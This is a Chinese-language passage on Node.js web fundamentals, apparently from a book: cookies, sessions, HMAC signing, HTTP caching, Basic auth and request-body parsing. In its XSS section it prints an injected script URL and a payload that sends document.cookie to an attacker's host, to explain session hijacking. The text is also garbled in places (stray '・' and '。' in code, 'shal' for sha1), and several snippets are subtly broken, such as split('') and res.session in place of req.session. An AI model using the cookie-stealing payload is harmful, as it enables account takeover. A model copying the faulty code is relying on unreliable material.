handles.index.index = function (req, res, foo, bar) {
res.writeHead(200);
res.end(foo);
};
查询字符串
查询字符串位于路径之后,在地址栏中路径后的?foo=bar&baz=val字符串就是查询字符串。
这个字符串会跟随在路径后,形成请求报文首行的第二部分。
这部分内容经常需要为业务逻辑所用,Node提供了querystring模块用于处理这部分数据,
如下所示:
var url = require('url');
var querystring = require('querystring');
var query = querystring.parse(url.parse(req.url).query);
更简洁的方法是给url.parse()传递第二个参数,如下所示:
var query = url.parse(req.url, true).query;
它会将foo=bar&baz=val解析为一个JSON对象,如下所示:
{
foo: 'bar',
baz: 'val'
}
在业务调用产生之前,我们的中间件或者框架会将查询字符串转换,然后挂载在请求对象上供业务使用,如下所示:
function (req, res) {
req.query = url.parse(req.url, true).query;
hande(req, res);
}
要注意的点是,如果查询字符串中的键出现多次,那么它的值会是一个数组,如下所示:
// foo=bar&foo=baz
var query = url.parse(req.url, true).query;
// {
// foo: ['bar', 'baz']
// }
业务的判断一定要检查值是数组还是字符串,否则可能出现TypeError异常的情况。
Cookie
在Web应用中,请求路径和查询字符串对业务至关重要,通过它们已经可以进行很多业务操作了,但是HTTP是一个无状态的协议,现实中的业务却是需要一定的状态的,否则无法区分用 户之间的身份。如何标识和认证一个用户,最早的方案就是Cookie (曲奇饼)了。
Cookie的处理分为如下几步。
- 服务器向客户端发送C ookie。
- 浏览器将Cookie保存。
- 之后每次浏览器都会将Cookie发向服务器端。(客户端发送的Cookie在请求报文的Cookie字段中)
Cookie解析和设置
解析
HTTP_Parser会将所有的报文字段解析到req.headers上,那么Cookie就是req.headers. cookie。
根据规范中的定义,Cookie值的格式是key=value; key2=value2形式的,如果我们需要 Cookie,解析它也十分容易,如下所示:
var parseCookie = function(cookie) {
var cookies = {};
if (!cookie) {
return cookies;
}
var list = cookie.split(';');
for (var i = 0; i < list.length; i++) {
var pair = list[i].split('=');
cookies[pair[0].trim()] = pair[1];
}
return cookies;
};
在业务逻辑代码执行之前,我们将其挂载在req对象上,让业务代码可以直接访问,如下所示:
function (req, res) {
req.cookies = parseCookie(req.headers.cookie);
hande(req, res);
}
这样我们的业务代码就可以进行判断处理了,如下所示:
var handle = function(req, res) {
res.writeHead(200);
// 任何请求报文中,如果Cookie值没有isVisit,都会收到"欢迎第一次来到动物园"这样的 响应。
if (!req.cookies.isVisit) {
res.end('欢迎第一次来到动物园');
} else {
// TODO
}
};
设置
如果识别到用户没有访问过我们的站点,那么我们的站点是否应该告诉客户端已经访问过的标识呢?
告知客户端的方式是通过响应报文实现的,响应的Cookie值在 Set-Cookie字段中。
它的格式与请求中的格式不太相同,规范中对它的定义如下所示:
Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
其中name=value是必须包含的部分,其余部分皆是可选参数。
这些可选参数将会影响浏览器在后续将Cookie发送给服务器端的行为。
以下为主要的几个选项。
- path表示这个Cookie影响到的路径,当前访问的路径不满足该匹配时,浏览器则不发送这个Cookie。
- Expires和Max-Age是用来告知浏览器这个Cookie何时过期的,如果不设置该选项,在关闭浏览器时会丢失掉这个Cookie。
如果设置了过期时间,浏览器将会把Cookie内容写入到磁 盘中并保存,下次打开浏览器依旧有效。
Expires的值是一个UTC格式的时间字符串,告知浏览器此Cookie何时将过期,Max-Age则告知浏览器此Cookie多久后过期。
前者一般而言不存在问题,但是如果服务器端的时间和客户端的时间不能匹配,这种时间设置就会存在偏差。
为此,Max-Age告知浏览器这条Cookie多久之后过期,而不是一个具体的时间点。- HttpOnly告知浏览器不允许通过脚本document.cookie去更改这个Cookie值,事实上,设置HttpOnly之后,这个值在document.cookie中不可见。但是在HTTP请求的过程中,依然会发送这个Cookie到服务器端。
- Secure。当Secure值为true时,在HTTP中是无效的,在HTTPS中才有效,表示创建的Cookie只能在HTTPS连接中被浏览器传递到服务器端进行会话验证,如果是HTTP连接则不会传递该信息,所以很难被窃听到。
知道Cookie在报文头中的具体格式后,下面我们将Cookie序列化成符合规范的字符串,相关 代码如下:
var serialize = function(name, val, opt) {
var pairs = [name + '=' + encode(val)];
opt = opt || {};
if (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge);
if (opt.domain) pairs.push('Domain=' + opt.domain);
if (opt.path) pairs.push('Path=' + opt.path);
if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString());
if (opt.httpOnly) pairs.push('HttpOnly');
if (opt.secure) pairs.push('Secure');
return pairs.join('; ');
};
略改前文的访问逻辑,我们就能轻松地判断用户的状态了,如下所示:
var handle = function(req, res) {
if (!req.cookies.isVisit) {
res.setHeader('Set-Cookie', serialize('isVisit', '1'));
res.writeHead(200);
res.end('欢迎第一次来到动物园');
} else {
res・ writeHead(200);
res.end('动物园再次欢迎你');
}
};
户端收到这个带Set-Cookie的响应后,在之后的请求时会在Cookie字段中带上这个值。
值得注意的是,Set-Cookie是较少的,在报头中可能存在多个字段。为此res.setHeader的第 二个参数可以是一个数组,如下所示:
res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]);
这会在报文头部中形成两条Set-Cookie字段:
Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
性能问题
由于Cookie的实现机制,一旦服务器端向客户端发送了设置Cookie的意图,除非Cookie过期, 否则客户端每次请求都会发送这些Cookie到服务器端,一旦设置的Cookie过多,将会导致报头较大。
大多数的Cookie并不需要每次都用上,因为这会造成带宽的部分浪费。
优化:
- 减小Cookie的大小
更严重的情况是,如果在域名的根节点设置Cookie,几乎所有子路径下的请求都会带上这些Cookie,这些Cookie在某些情况下是有用的,但是在有些情况下是完全无用的。
其中以静态文件最为典型,静态文件的业务定位几乎不关心状态,Cookie对它而言几乎是无用的,但是一旦有 Cookie设置到相同域下,它的请求中就会带上Cookie。
好在Cookie在设计时限定了它的域,只有域名相同时才会发送。- 为静态组件使用不同的域名
简而言之就是,为不需要Cookie的组件换个域名可以实现减少无效Cookie的传输。
所以很多网站的静态文件会有特别的域名,使得业务相关的Cookie不再影响静态资源。
当然换用额外的域 名带来的好处不只这点,还可以突破浏览器下载线程数量的限制,因为域名不同,可以将下载线程数翻倍。
但是换用额外域名还是有一定的缺点的,那就是将域名转换为IP需要进行DNS查询, 多一个域名就多一次DNS查询。- 减少DNS查询
看起来减少DNS查询和使用不同的域名是冲突的两条规则,但是好在现今的浏览器都会进行DNS缓存,以削弱这个副作用的影响。
Cookie除了可以通过后端添加协议头的字段设置外,在前端浏览器中也可以通过J avaScript 进行修改,浏览器将Cookie通过document.cookie暴露给了JavaScript。前端在修改Cookie之后,后续的网络请求中就会携带上修改过后的值。
Session
通过Cookie,浏览器和服务器可以实现状态的记录。
但是Cookie并非是完美的,前文提及的体积过大就是一个显著的问题,最为严重的问题是Cookie可以在前后端进行修改,因此数据就极容易被寡改和伪造。
如果服务器端有部分逻辑是根据Cookie中的isVIP字段进行判断,那么一个普通用户通过修改Cookie就可以轻松享受到VIP服务了。
综上所述,Cookie对于敏感数据的保护是无效的。
为了解决Cookie敏感数据的问题,Session应运而生。
Session的数据只保留在服务器端,客户端无法修改,这样数据的安全性得到一定的保障,数据也无须在协议中每次都被传递。
数据映射
虽然在服务器端存储数据十分方便,但是如何将每个客户和服务器中的数据一一对应起来, 这里有常见的两种实现方式。
第一种:基于Cookie来实现用户和数据的映射
虽然将所有数据都放在Cookie中不可取,但是将口令放在Cookie中还是可以的。
因为口令一旦被寡改,就丢失了映射关系,也无法修改服务器端存在的数据了。
并且Session的有效期通常较短, 普遍的设置是20分钟,如果在20分钟内客户端和服务器端没有交互产生,服务器端就将数据删除。
由于数据过期时间较短,且在服务器端存储数据,因此安全性相对较高。
那么口令是如何产生的呢?
一旦服务器端启用了Session,它将约定一个键值作为Session的口令,这个值可以随意约定, 比如Connect默认采用connect_uid, Tomcat会采用jsessionid等。
一旦服务器检查到用户请求 Cookie中没有携带该值,它就会为之生成一个值,这个值是唯一且不重复的值,并设定超时时间。
以下为生成session的代码:
var sessions = {};
var key = 'session_id';
var EXPIRES = 20 * 60 * 1000;
var generate = function() {
var session = {};
session.id = (new Date()).getTime() + Math.random();
session.cookie = {
expire: (new Date()).getTime() + EXPIRES
};
sessions[session.id] = session;
return session;
};
每个请求到来时,检查Cookie中的口令与服务器端的数据,如果过期,就重新生成,如下 所示:
function(req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate();
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > (new Date()).getTime()) {
//更新超时时间
session.cookie.expire = (new Date()).getTime() + EXPIRES;
req.session = session;
} else {
//超时了,删除旧的数据,并重新生成
delete sessions[id];
req.session = generate();
}
} else {
//如果session过期或口令不对,重新生成session
req.session = generate();
}
}
handle(req, res);
}
当然仅仅重新生成Session还不足以完成整个流程,还需要在响应给客户端时设置新的值,以便下次请求时能够对应服务器端的数据。
这里我们hack响应对象的writeHead()方法,在它的内部 注入设置Cookie的逻辑,如下所示:
var writeHead = res.writeHead;
res.writeHead = function() {
var cookies = res.getHeader('Set-Cookie');
var session = serialize('Set-Cookie', req.session.id);
cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session];
res.setHeader('Set-Cookie', cookies);
return writeHead.apply(this, arguments);
};
至此,session在前后端进行对应的过程就完成了。
这样的业务逻辑可以判断和设置session, 以此来维护用户与服务器端的关系,如下所示:
var handle = function(req, res) {
if (!req.session.isVisit) {
res.session.isVisit = true;
res.writeHead(200);
res.end('欢迎第一次来到动物园');
} else {
res・ writeHead(200);
res.end('动物园再次欢迎你');
}
};
这样在session中保存的数据比直接在Cooki e中保存数据要安全得多。
这种实现方案依赖 Cookie实现,而且也是目前大多数Web应用的方案。
如果客户端禁止使用Cookie,这个世界上大多数的网站将无法实现登录等操作。
第二种:通过查询字符串来实现浏览器端和服务器端数据的对应
它的原理是检查请求的查询字符串,如果没有值,会先生成新的带值的URL,如下所示:
var getURL = function (_url, key, value) {
var obj = url.parse(_url, true);
obj.query[key] = value;
return url.format(obj);
};
然后形成跳转,让客户端重新发起请求,如下所示:
function(req, res) {
var redirect = function(url) {
res.setHeader('Location', url);
res・ writeHead(302);
res.end();
};
var id = req.query[key];
if (!id) {
var session = generate();
redirect(getURL(req.url, key, session.id));
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > (new Date()).getTime()) {
//更新超时时间
session.cookie.expire = (new Date()).getTime() + EXPIRES;
req.session = session;
handle(req, res);
} else {
//超时了,删除旧的数据,并重新生成
delete sessions[id];
var session = generate。; redirect(getURL(req.url, key, session.id));
}
} else {
//如果session过期或口令不对,重新生成session
var session = generate();
redirect(getURL(req・ Url, key, session.id));
}
}
}
用户访问http://localhost/pathname时;
如果服务器端发现查询字符串中不带session_id参数, 就会将用户跳转到http://localhost/pathname?session_id=12344567这样一个类似的地址。
如果浏览器收到302状态码和Location报头,就会重新发起新的请求,如下所示:
< HTTP/1.1 302 Moved Temporarily
< Location: /pathname?session_id=12344567
这样,新的请求到来时就能通过Session的检查,除非内存中的数据过期。
有的服务器在客户端禁用Cookie时,会采用这种方案实现退化。
通过这种方案,无须在响应时设置Cookie。
但是这种方案带来的风险远大于基于Cookie实现的风险,因为只要将地址栏中的地址发给另外一个人,那么他就拥有跟你相同的身份。
Cookie的方案在换了浏览器或者换了电脑之后无法生效,相对较为安全。
还有一种比较有趣的处理Session的方式是利用HTTP请求头中的ETag,同样对于更换浏览器和电脑后也是无效的,具体的细节这里就不展开了,感兴趣的朋友可以到网上查阅相关资料。
Session与内存(性能问题)
在上面的示例代码中,我们都将Session数据直接存在变量sessions中,它位于内存中。
带来的问题:
- Node内存控制部分,我们分析了为什么Node会存在内存限制,这里将数据存放在内存中将会带来极大的隐患,如果用户增多,我们很可能就接触到了内存限制的上限,并且内存中的数据量加大,必然会引起垃圾回收的频繁扫描,引起性能问题。
- 另一个问题则是我们可能为了利用多核CPU而启动多个进程。用户请求的连接将可能随意分配到各个进程中,Node的进程与进程之间是不能直接共享内存的,用户的Session可能会引起错乱。
解决方法:- 为了解决性能问题和Session数据无法跨进程共享的问题,常用的方案是将Session集中化,将原本可能分散在多个进程里的数据,统一转移到集中的数据存储中。
目前常用的工具是Redis、 Memcached等,通过这些高效的缓存,Node进程无须在内部维护数据对象,垃圾回收问题和内存 限制问题都可以迎刃而解,并且这些高速缓存设计的缓存过期策略更合理更高效,比在Node中自 行设计缓存策略更好。
注意:
采用第三方缓存来存储Session引起的一个问题是会引起网络访问。
理论上来说访问网络中的数据要比访问本地磁盘中的数据速度要慢,因为涉及到握手、传输以及网络终端自身的磁盘I/O 等,尽管如此但依然会采用这些高速缓存的理由有以下几条:
- Node与缓存服务保持长连接,而非频繁的短连接,握手导致的延迟只影响初始化。
- 高速缓存直接在内存中进行数据存储和访问。
- 缓存服务通常与Node进程运行在相同的机器上或者相同的机房里,网络速度受到的影响较小。
尽管采用专门的缓存服务会比直接在内存中访问慢,但其影响小之又小,带来的好处却远远大于直接在Node中保存数据。
为此,一旦Session需要异步的方式获取,代码就需要略作调整,变成异步的方式,如下所示:
function(req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate。;
handle(req, res);
} else {
store.get(id, function(err, session) {
if (session) {
if (session.cookie.expire > (new Date()).getTime()) {
//更新超时时间
session.cookie.expire = (new Date()).getTime() + EXPIRES;
req.session = session;
} else {
//超时了,删除旧的数据,并重新生成
delete sessions[id];
req.session = generate();
}
} else {
//如果session过期或口令不对,重新生成session
req.session = generate();
}
handle(req, res);
});
}
}
在响应时,将新的session保存回缓存中,如下所示:
var writeHead = res.writeHead;
res.writeHead = function() {
var cookies = res.getHeader('Set-Cookie');
var session = serialize('Set-Cookie', req.session.id);
cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session];
res.setHeader('Set-Cookie', cookies);
//保存回缓存
store.save(req.session);
return writeHead.apply(this, arguments);
};
Session与安全
从前文可以知道,尽管我们的数据都放置在后端了,使得它能保障安全,但是无论通过 Cookie,还是查询字符串的实现方式,Session的口令依然保存在客户端,这里会存在口令被盗用 的情况。
如果Web应用的用户十分多,自行设计的随机算法的一些口令值就有理论机会命中有效的口令值。
一旦口令被伪造,服务器端的数据也可能间接被利用。
这里提到的Session的安全,就主要指如何让这个口令更加安全。
- 有一种做法是将这个口令通过私钥加密进行签名,使得伪造的成本较高。
客户端尽管可以伪造口令值,但是由于不知道私钥值,签名信息很难伪造。
如此,我们只要在响应时将口令和签名进行对比,如果签名非法,我们将服务器端的数据立即过期即可。
如下所示:
//将值通过私钥签名,由.分割原值和签名
var sign = function(val, secret) {
return val + '.' + crypto
.createHmac('sha256', secret)
.update(val)
.digest('base64')
.replace(/\=+$/, '');
};
在响应时,设置session值到Cookie中或者跳转URL中,如下所示:
var val = sign(req.sessionID, secret);
res.setHeader('Set-Cookie', cookie.serialize(key, val));
接收请求时,检查签名,如下所示:
//取出口令部分进行签名,对比用户提交的值
var unsign = function(val, secret) {
var str = val.slice(0, val.lastIndexOf('.'));
return sign(str, secret) == val ? str : false;
};
这样一来,即使攻击者知道口令中.号前的值是服务器端Session的ID值,只要不知道secret 私钥的值,就无法伪造签名信息,以此实现对Session的保护。
该方法被Connect中间件框架所使 用,保护好私钥,就是在保障自己Web应用的安全。
当然,将口令进行签名是一个很好的解决方案,但是如果攻击者通过某种方式获取了一个真实的口令和签名,他就能实现身份的伪装。
- 另一种方案是将客户端的某些独有信息与口令作为原值, 然后签名,这样攻击者一旦不在原始的客户端上进行访问,就会导致签名失败。这些独有信息包 括用户IP和用户代理(User Agent)。
但是原始用户与攻击者之间也存在上述信息相同的可能性,如局域网出口IP相同,相同的客户端信息等,不过纳入这些考虑能够提高安全性。
通常而言,将口令存在Cookie中不容易被他人获取,但是一些别的漏洞可能导致这个口令被泄漏,典型的有XSS漏洞,下面简单介绍一下如何通过XSS拿到用户的口令,实现伪造。
- XSS漏洞
XSS的全称是跨站脚本攻击(Cross Site Scripting,通常简称为XSS ),通常都是由网站开发者决定哪些脚本可以执行在浏览器端,不过XSS漏洞(网站被注入其他脚本)会让别的脚本执行。
它的主要形成原因多数是用户的输入没有被转义,而被直接执行。
下面是某个网站的前端脚本,它会将URL hash中的值设置到页面中,以实现某种逻辑,如下 所示:
$('#box').html(location.hash.replace('#', ''));
攻击者在发现这里的漏洞后,构造了这样的URL:
http://a.com/pathname#<script src="http://b.com/c.js"></script>
为了不让受害者直接发现这段URL中的猫腻,它可能会通过URL压缩成一个短网址,如下所示
http://t.cn/fasdlfj
//或者再次压缩
http://url.cn/fasdlfb
然后将最终的短网址发给某个登录的在线用户。
这样一来,这段hash中的脚本将会在这个用 户的浏览器中执行,而这段脚本中的内容如下所示:
location.href = "http://c.com/?" + document.cookie;
这段代码将该用户的Cookie提交给了 c.com站点,这个站点就是攻击者的服务器,他也就能 拿到该用户的Session口令。
然后他在客户端中用这个口令伪造Cookie,从而实现了伪装用户的身份。
如果该用户是网站管理员,就可能造成极大的危害。
XSS造成的危害远远不止这些,这里不再过多介绍。
在这个案例中,如果口令中有用户的客户端信息的签名,即使口令被泄漏,除非攻击者与用户客户端完全相同,否则不能实现伪造。
缓存
我们知道软件的架构经历过一次C/S模式到B/S模式的演变,在HTTP之上构建的应用,其客户端除了比普通桌面应用具备更轻量的升级和部署等特性外,在跨平台、跨浏览器、跨设备上也 具备独特优势。
传统客户端在安装后的应用过程中仅仅需要传输数据,Web应用还需要传输构成 界面的组件(HTML、JavaScript、CSS文件等)。
这部分内容在大多数场景下并不经常变更,却需要在每次的应用中向客户端传递,如果不进行处理,那么它将造成不必要的带宽浪费。
如果网络速度较差,就需要花费更多时间来打开页面,对于用户的体验将会造成一定影响。
因此节省不必要的传输,对用户和对服务提供者来说都有好处。
为了提高性能,有几条关于缓存的规则。
- 添加Expires或Cache-Control到报文头中。(让文件在一定时间内本地缓存,不在发送请求,继续使用)
- 配置 ETags。(让文件在本地缓存,发送请求,判别是否有更新,然是进行本地使用或者请求新内容)
- 让Ajax可缓存。
设置缓存
如何让浏览器缓存我们的静态资源,这也是一个需要由服务器与浏览器共同协作完成的事情。
RFC 2616规范对此有一定的描述,只有遵循约定,整个缓 存机制才能有效建立。通常来说,POST、DELETE, PUT这类带行为性的请求操作一般不做任何缓存,大多数缓存只应用在GET请求中。使用缓存的流程如图8-1所示。
简单来讲,本地没有文件时,浏览器必然会请求服务器端的内容,并将这部分内容放置在本地的某个缓存目录中。
在第二次请求时,它将对本地文件进行检查,如果不能确定这份本地文件是否可以直接使用,它将会发起一次条件请求。
所谓条件请求,就是在普通的GET请求报文中, 附带If-Modified-Since字段,如下所示:
If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT
它将询问服务器端是否有更新的版本,本地文件的最后修改时间。
如果服务器端没有新的版 本,只需响应一个304状态码,客户端就使用本地版本。
如果服务器端有新的版本,就将新的内容发送给客户端,客户端放弃本地版本。
代码如下所示:
var handle = function(req, res) {
fs.stat(filename, function(err, stat) {
var lastModified = stat.mtime.toUTCString();
if (lastModified === req.headers['if-modified-since']) {
res.writeHead(304, "Not Modified");
res・ end();
} else {
fs.readFile(filename, function(err, file) {
var lastModified = stat.mtime.toUTCString();
res.setHeader("Last-Modified", lastModified);
res・ writeHead(200, "Ok");
res.end(file);
});
}
});
};
这里的条件请求采用时间戳的方式实现,但是时间戳有一些缺陷存在。
- 文件的时间戳改动但内容并不一定改动。
- 时间戳只能精确到秒级别,更新频繁的内容将无法生效。
此HTTP1.1中引入了ETag来解决这个问题。
ETag的全称是Entity Tag,由服务器端生成,服 务器端可以决定它的生成规则。
如果根据文件内容生成散列值,那么条件请求将不会受到时间戳 改动造成的带宽浪费。
下面是根据内容生成散列值的方法:
var getHash = function (str) {
var shasum = crypto.createHash('shal');
return shasum.update(str).digest('base64');
};
与If-Modified-Since/Last-Modified不同的是,ETag的请求和响应是If-None-Match/ETag, 如下所示:
var handle = function(req, res) {
fs.readFile(filename, function(err, file) {
var hash = getHash(file);
var noneMatch = req.headers['if-none-match'];
if (hash === noneMatch) {
res.writeHead(304, "Not Modified");
res.end();
} else {
res.setHeader("ETag", hash);
res.writeHead(200, "Ok");
res.end(file);
}
});
};
浏览器在收到ETag: "83-1359871272000"这样的响应后,在下次的请求中,
会将其放置在请求头中:If-None-Match:"83-1359871272000"。
尽管条件请求可以在文件内容没有修改的情况下节省带宽,但是它依然会发起一个HTTP请求,使得客户端依然会花一定时间来等待响应。
可见最好的方案就是连条件请求都不用发起。
那么如何让浏览器知晓是否能直接使用本地版本呢?
答案就是服务器端在响应内容时,让浏览器明确地将内容缓存起来。
在响应里设置Expires或Cache-Control头,浏览器将根据该值进行缓存。
那么这两个值有何区别呢?
Expires
HTTP 1.0时,在服务器端设置Expires可以告知浏览器要缓存文件内容,如下代码所示:
var handle = function(req, res) {
fs.readFile(filename, function(err, file) {
var expires = new Date();
expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000);
res.setHeader("Expires", expires.toUTCString());
res.writeHead(200, "Ok");
res.end(file);
});
};
Expires是一个GMT格式的时间字符串。
浏览器在接到这个过期值后,只要本地还存在这个缓存文件,在到期时间之前它都不会再发起请求。
YUI3的CDN实践是缓存文件在10年后过期。
但是Expire s的缺陷在于浏览器与服务器之间的时间可能不一致,这可能会带来一些问题,比如 文件提前过期,或者到期后并没有被删除。
Cache-Control
在这种情况下,Cache-Control以更丰富的形式,实现相同的功能,如下所示:
var handle = function(req, res) {
fs.readFile(filename, function(err, file) {
res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000);
res.writeHead(200, "Ok");
res.end(file);
});
};
上面的代码为Cache-Control设置了max-age值,它比Expires优秀的地方在于,Cache-Control 能够避免浏览器端与服务器端时间不同步带来的不一致性问题,只要进行类似倒计时的方式计算 过期时间即可。
除此之外,Cache-Control的值还能设置public、private、no-cache、no-store 等能够更精细地控制缓存的选项。
由于在HTTP1.0时还不支持max-age,如今的服务器端在模块的支持下多半同时对Expires和 Cache-Control进行支持。
在浏览器中如果两个值同时存在,且被同时支持时,max-age会覆盖 Expires。
清除缓存
虽然我们知晓了如何设置缓存,以达到节省网络带宽的目的,但是缓存一旦设定,当服务器端意外更新内容时,却无法通知客户端更新。
这使得我们在使用缓存时也要为其设定版本号,所幸浏览器是根据URL进行缓存,那么一旦内容有所更新时,我们就让浏览器发起新的URL请求, 使得新内容能够被客户端更新。
一般的更新机制有如下两种。
- 每次发布,路径中踉随Web应用的版本号:http://url.com/?v=20130501o
- 每次发布,路径中踉随该文件内容的hash值:http://url.com/?hash=afadfadweo
大体来说,根据文件内容的hash值进行缓存淘汰会更加高效,因为文件内容不一定随着Web应用的版本而更新,而内容没有更新时,版本号的改动导致的更新毫无意义,因此以文件内容形 成的hash值更精准。
Basic 认证
Basic认证是当客户端与服务器端进行请求时,允许通过用户名和密码实现的一种身份认证方式。
这里简要介绍它的原理和它在服务器端通过Node处理的流程。
如果一个页面需要Basic认证,它会检查请求报文头中的Authorization字段的内容,该字段 的值由认证方式和加密值构成,如下所示:
$ curl -v "http://user:pass@www.baidu.com/"
> GET / HTTP/1.1
> Authorization: Basic dXNlcjpwYXNz
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
> Host: www.baidu.com
> Accept: */*
在Basic认证中,它会将用户和密码部分组合:username + ":" + passwordo然后进行Base64 编码,如下所小:
var encode = function (username, password) {
return new Buffer(username + ':' + password).toString('base64');
};
如果用户首次访问该网页,URL地址中也没携带认证内容,那么浏览器会响应一个401未授 权的状态码,如下所示:
function(req, res) {
var auth = req.headers['authorization'] || '';
var parts = auth.split('');
var method = parts[0] || ''; // Basic
var encoded = parts[1] || ''; // dXNlcjpwYXNz
var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":");
var user = decoded[0]; // user
var pass = decoded[1]; // pass
if (!checkUser(user, pass)) {
res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"');
res.writeHead(401);
res.end();
} else {
handle(req, res);
}
}
在上面的代码中,响应头中的WWW-Authenticate字段告知浏览器采用什么样的认证和加密 方式。
一般而言,未认证的情况下,浏览器会弹出对话框进行交互式提交认证信息.
当认证通过,服务器端响应200状态码之后,浏览器会保存用户名和密码口令,在后续的请求中都携带上Authorization信息。
Basic认证有太多的缺点,它虽然经过Base64加密后在网络中传送,但是这近乎于明文十分危险,一般只有在HTTPS的情况下才会使用。
不过Basic认证的支持范围十分广泛,几乎所有的浏览器都支持它。
为了改进Basic认证,RFC 2069规范提出了摘要访问认证,它加入了服务器端随机数来保护认证过程,在此不做深入的解释。
数据上传
上述的内容基本都集中在HTTP请求报文头中,适用于GET请求和大多数其他请求。
头部报文中的内容已经能够让服务器端进行大多数业务逻辑操作了,但是单纯的头部报文无法携带大量的数据,在业务中,我们往往需要接收一些数据,比如表单提交、文件提交、JSON上传、XML上传等。
Node的http模块只对HTTP报文的头部进行了解析,然后触发request事件。
如果请求中还带有内容部分(如POST请求,它具有报头和内容),内容部分需要用户自行接收和解析。
通过报头的Transfer-Encoding(规定了传输报文主体时采用的编码方式)或Content-Length(表明了实体主体部分的大小-单位是字节)即可判断请求中是否带有内容,如下所示:
var hasBody = function(req) {
return 'transfer-encoding' in req.headers || 'content-length' in req.headers;
};
在HTTP_Parser解析报头结束后,报文内容部分会通过data事件触发,我们只需以流的方式处理即可,如下所示:
function(req, res) {
if (hasBody(req)) {
var buffers = [];
req.on('data', function(chunk) {
buffers.push(chunk);
});
req.on('end', function() {
req.rawBody = Buffer.concat(buffers).toString();
handle(req, res);
});
} else {
handle(req, res);
}
}
将接收到的Buffer列表转化为一个Buffer对象后,再转换为没有乱码的字符串,暂时挂置在req.rawBody处。
表单数据
最为常见的数据提交就是通过网页表单提交数据到服务器端,如下所示:
<form action="/upload" method="post">
<label for="username">Username:</label> <input type="text" name="username" id="username" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
默认的表单提交,请求头中的Content-Type字段值为application/x-www-form-urlencoded,
由于它的报文体内容跟查询字符串相同:
foo=bar&baz=val
因此解析它十分容易:
var handle = function(req, res) {
if (req.headers['content-type'] === 'application/x-www-form-urlencoded') {
req.body = querystring.parse(req.rawBody);
}
todo(req, res);
};
后续业务中直接访问req.body就可以得到表单中提交的数据。
其他格式
除了表单数据外,常见的提交还有JSON和XML文件等,判断和解析他们的原理都比较相似,
都是依据Content-Type中的值决定,其中JSON类型的值为application/json,XML的值为 application/xml。
需要注意的是,在Content-Type中可能还附带如下所示的编码信息:
Content-Type: application/json; charset=utf-8
所以在做判断时,需要注意区分,如下所示:
var mime = function (req) {
var str = req.headers['content-type'] || '';
return str.split(';')[0];
};
JSON文件
如果从客户端提交JSON内容,这对于Node来说,要处理它都不需要额外的任何库,如下所示:
var handle = function(req, res) {
if (mime(req) === 'application/json') {
try {
req.body = JSON.parse(req.rawBody);
} catch (e) {
// 异常内容Lj响应Bad request
res.writeHead(400);
res.end('Invalid JSON');
return;
}
}
todo(req, res);
};
XML文件
解析XML文件稍微复杂一点,但是社区有支持XML文件到JSON对象转换的库,这里以 xml2js模块为例,如下所示:
var xml2js = require('xml2js');
var handle = function(req, res) {
if (mime(req) === 'application/xml') {
xml2js・ parseString(req・ rawBody, function(err, xml) {
if (err) {
//异常内容,响应Bad request
res.writeHead(400);
res.end('Invalid XML');
return;
}
req.body = xml;
todo(req, res);
});
}
};
采用类似的方式,无论客户端提交的数据是什么格式,我们都可以通过这种方式来判断该数 据是何种类型,然后采用对应的解析方法解析即可。
附件上传
除了常见的表单和特殊格式的内容提交外,还有一种比较独特的表单。
通常的表单,其内容可以通过urlencoded的方式编码内容形成报文体,再发送给服务器端,但是业务场景往往需要用户直接提交文件。在前端HTML代码中,特殊表单与普通表单的差异在于该表单中可以含有file 类型的控件,以及需要指定表单属性enctype为multipart/form-data,如下所示:
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="username">Username:</label> <input type="text" name="username" id="username" />
<label for="file">Filename:</label> <input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
浏览器在遇到multipart/form-data表单提交时,构造的请求报文与普通表单完全不同。
首先它的报头中最为特殊的如下所示:
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 18231
它代表本次提交的内容是由多部分构成的,其中boundary=AaB03x指定的是每部分内容的分界符,AaB03x是随机生成的一段字符串,报文体的内容将通过在它前面添加--进行分割,报文结束在它前后都加上--表示结束。
另外,Content-Length的值必须确保是报文体的长度。
假设上面的表单选择了一个名为diveintonode.js的文件,并进行提交上传,那么生成的报文如 下所示:
--AaB03x\r\n
Content-Disposition: form-data; name="username"\r\n
\r\n
Jackson Tian\r\n
--AaB03x\r\n
Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n
Content-Type: application/javascript\r\n
\r\n
... contents of diveintonode.js ...
--AaB03x--
普通的表单控件的报文体如下所示:
--AaB03x\r\n
Content-Disposition: form-data; name="username"\r\n
\r\n
Jackson Tian\r\n
文件控件形成的报文如下所示:
--AaB03x\r\n
Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n
Content-Type: application/javascript\r\n
\r\n
... contents of diveintonode.js ...
一旦我们知晓报文是如何构成的,那么解析它就变得十分容易。
值得注意的一点是,由于是文件上传,那么像普通表单、JSON或XML那样先接收内容再解析的方式将变得不可接受。
接收大小未知的数据量时,我们需要十分谨慎,如下所示:
function(req, res) {
if (hasBody(req)) {
var done = function() {
handle(req, res);
};
if (mime(req) === 'application/json') {
parseJSON(req, done);
} else if (mime(req) === 'application/xml') {
parseXML(req, done);
} else if (mime(req) === 'multipart/form-data') {
